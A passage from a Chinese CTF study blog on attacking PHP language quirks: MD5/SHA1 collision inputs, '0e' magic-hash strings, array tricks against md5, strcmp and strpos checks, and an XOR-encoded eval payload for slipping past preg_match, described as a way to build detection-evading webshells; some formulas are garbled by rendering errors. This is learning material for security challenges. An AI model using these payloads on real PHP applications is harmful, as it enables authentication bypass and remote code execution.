【WEB】利用各种特性进行攻击(更新中)

9 篇文章 0 订阅
7 篇文章 0 订阅

PHP语言特性

弱类型

PHP中比较两个值是否相等可以用 “ == ” 或者 “ === ” ,前者可以自动进行类型转换而不改变原来的值,所以存在漏洞的地方用的往往是“==”

比如在这里插入图片描述
这里需要使两个变量值不相等而他们的MD5值相等.
这样就有两个思路来解题:

  1. MD5碰撞https://0xd13a.github.io/ctfs/bkp2017/prudentialv2/

两个MD5相同,内容不同的字符串

Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

sha1也有类似碰撞

a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1&
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

注意提交时使用bp抓包,不能直接提交,否则的话浏览器解码,数据会不完整,其实就相当于比较两个文件的hash

  1. 利用PHP的弱类型:
    MD5函数的返回值是一个32位的字符串,如果这个字符串以0e开头的话,类型转换机制会将它识别为一个科学计数法表示的0

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

但并不是所有MD5值0e开头的都弱相等,只有一些特殊的字符串,即后面是纯数字的

0e开头的md5和原值:

字符串MD5
2406107080e462097431906509019562988736854
QNKCDZO0e830400451993494058024219903391
s878926199a0e545993274517709034328855841020
s155964671a0e342768416822451524974117254469
s214587387a0e848240448830537924465865611904
s214587387a0e848240448830537924465865611904
s878926199a0e545993274517709034328855841020
s1091221200a0e940624217856561557816327384675
s1885207154a0e509367213418206700842008763514
s1502113478a0e861580163291561247404381396064
s1885207154a0e509367213418206700842008763514
s1836677006a0e481036490867661113260034900752
s155964671a0e342768416822451524974117254469
s1184209335a0e072485820392773389523109082030
s1665632922a0e731198061491163073197128363787
s1502113478a0e861580163291561247404381396064
s1836677006a0e481036490867661113260034900752
s1091221200a0e940624217856561557816327384675
s155964671a0e342768416822451524974117254469
s1502113478a0e861580163291561247404381396064
s155964671a0e342768416822451524974117254469
s1665632922a0e731198061491163073197128363787
s155964671a0e342768416822451524974117254469
s1091221200a0e940624217856561557816327384675
s1836677006a0e481036490867661113260034900752
s1885207154a0e509367213418206700842008763514
s532378020a0e220463095855511507588041205815
s878926199a0e545993274517709034328855841020
s1091221200a0e940624217856561557816327384675
s214587387a0e848240448830537924465865611904
s1502113478a0e861580163291561247404381396064
s1091221200a0e940624217856561557816327384675
s1665632922a0e731198061491163073197128363787
s1885207154a0e509367213418206700842008763514
s1836677006a0e481036490867661113260034900752
s1665632922a0e731198061491163073197128363787
s878926199a0e545993274517709034328855841020

还有MD5和双MD5以后的值都是0e开头的

CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM

上一个例子的进阶版本:

if($_GET['a']!=$_GET['b']&&md5($_GET['a'])===md5($_GET['b'])){
	echo $flag;
}

这里用了‘===’之后,之前的字符串就不能成功了。但仍可利用PHP语言函数错误处理上的特性,在URL栏提交a[]=1&b[]=2绕过。
因为当我们令MD5函数的参数为一个数组时,函数会报错并且返回NULL值。虽然参数是两个不同的数组,但返回值是相同的NULL

哈希比较

md5的相关内容看上面

payload作用
hash1=0e251288019可以让md4过后的字符串和原来字符串在弱比较时表示相等
hash2[]=1&hash3[]=2绕过两个变量的强比较
hash4=ffifdyop使md5过后显示的值表示为'or'

除了ffifdyop,129581926211651571912466741651878684928 也可

一道总结题:
https://blog.csdn.net/weixin_45844670/article/details/108199965

一些函数漏洞

strcmp()函数

strcmp() 函数用于比较两个字符串

假设比较的两字符串为string1和string2,函数的返回值将有下面三种情况:

返回0 - 如果两个字符串相等
返回<0 - 如果 string1 小于 string2
返回>0 - 如果 string1 大于 string2

当比较数组和字符串的时候,返回是NULL

is_numeric()函数

用于检测变量是否为数字或数字字符串,是数字和数字字符串则返回 TRUE,否则返回 FALSE,包括数组

is_numeric()函数检测的时候会自动过滤掉前面的 ‘ ‘, ‘\t’, ‘\n’, ‘\r’, ‘\v’, ‘\f’等字符,但是不会过滤 ‘\0’,如果这些字符出现在字符串尾,也不会过滤,而是返回 false。

var_dump(is_numeric("\01")); // false
var_dump(is_numeric(" 1")); // true
var_dump(is_numeric("\t1")); // true
var_dump(is_numeric("\n1")); // true
var_dump(is_numeric("\r1")); // true
var_dump(is_numeric("\v1")); // true
var_dump(is_numeric("\f1")); // true
var_dump(is_numeric("\f\f1")); // true
var_dump(is_numeric("1\f")); // false

如果有两个is_numeric判断的时候用and连接起来,and后面的is_numberic判断可忽略

is_numeric('1') and is_numeric('a')        //true

strpos()函数

用于查找字符串首次出现的位置

int strpos( string $haystack, mixed $needle[, int $offset = 0] )

h a y s t a c k \color{red}{haystack} haystack 在该字符串中进行查找。

n e e d l e \color{red}{needle} needle 如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。

o f f s e t \color{red}{offset} offset 如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。如果是负数,搜索会从字符串结尾指定字符数开始。

如果没找到 needle,将返回 FALSE。

利用
h a y s t a c k 为 数 组 时 , 函 数 返 回 N U L L , 当 haystack为数组时,函数返回NULL,当 haystackNULLneedle为数组时函数返回flase

或者

if(strpos($str1,$str2)==false){//str1不包含str2的时候
	敏感操作
}

这时候当str2在str1开头时,函数返回值是0,而0==false成立

preg_match()函数

执行匹配正则表达式

以制作免杀马为例:

在制作免杀马的过程,根据php的语言特性对字符进行!运算会将字符类型转为bool类型,而bool类型遇到运算符号时,true会自动转为数字1,false会自动转为数字0
如果将bool类型进行计算,并使用chr()函数转为字符,使用”.”进行连接,便可以绕过preg_match匹配。

详情了解php不同于其他语言部分

但是很多的preg_match会过滤掉. 所以需要使用异或运算进行绕过,很多的免杀马都是这样制作的。php对字符进行异或运算是先将字符转换成ASCII码然后进行异或运算,并且php能直接对一串字符串进行异或运算,例如”123”^”abc”是”1”与”a”进行异或然后”2”与”b”进行异或,以此类推,在异或结束后就获得了想要的字符串。

注意点:进行异或运算时要将数字转换成字符形式,如果数字(int)和字符异或的话,结果只会是数字,例如1^”a”=1, ”a”^2=2,将数字转换成字符串可以使用trim()函数。

拓展:

php特性use of undefined constant,会将没有引号的字符都自动视为字符串,ASCII码大于0x7F的都会被当作字符串,由此可知可以简化异或过程,任何字符与0xff异或都会取相反,这样就能减少运算量了。

以GET或POST传入字符绕preg_match为例:

php的eval()函数在执行时如果内部有类似”abc”^”def”的计算式,那么就先进行计算再执行,我们可以利用再创参数来实现更方便的操作,例如传入?a=$_GET[b],由于b不受限制就可以任意传值了,不过

注意1:

在测试过程中发现问题,类似phpinfo();的,需要将后面的();放在第个参数的后面,例如url?a={_GET}{b}();&b=phpinfo,也就是?a=KaTeX parse error: Expected '}', got 'EOF' at end of input: …hpinfo,在传入后实际上为{???^???}{?}();但是到了eval()函数内部就会变成${_GET}{?}();成功执行。

注意2:

测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是php的use of undefined constant特性,例如 G E T a 这 样 的 语 句 p h p 是 不 会 判 为 错 误 的 , 因 为 使 用 来 界 定 变 量 的 , 这 句 话 就 是 会 将 G E T 自 动 看 为 字 符 串 , 也 就 是 {_GET}{a}这样的语句php是不会判为错误的,因为{}使用来界定变量的,这句话就是会将_GET自动看为字符串,也就是 GETaphp,使,GET,_GET[‘a’]

<?php $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>

用户传入

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
成功显示phpinfo页面

反序列化漏洞

PHP提供serialize和unserialize函数将任意类型的数据转换成string类型或者从string类型还原成任意类型。当unserialize函数的参数被用户控制的时候就会形成反序列化漏洞

与之相关的是PHP语法中的类,PHP的类中可能会包含一些特殊的函数,名为magic函数,magic函数的命名方式是以符号__开头的,比如__construct、__destruct、__toString、__sleep、__wakeup等。这些函数在一些情况会被自动调用。

我写的一个关于php反序列化漏洞的讲解:
https://blog.csdn.net/weixin_45844670/article/details/108171963

需要注意的是,除了PHP,Ruby和Java,python等语言都存在反序列化漏洞
尽管许多实验和示例都是基于PHP的,但是大多数利用技术对于其他语言也同样有效。

截断

ereg()函数

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。

如果没有传递入可选参数 regs 或者所匹配的字符串长度为 0,则本函数返回 1

int ereg ( string $pattern , string KaTeX parse error: Expected 'EOF', got '&' at position 17: …tring [, array &̲regs ] )
利用:

ereg函数存在00截断漏洞,当ereg读取字符串string时,如果遇到了%00,后面的字符串就不会被解析。

ereg函数处理数组,会返回NULL

伪协议

变量覆盖

防护绕过

Windows系统特性

短文件名

文件上传

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值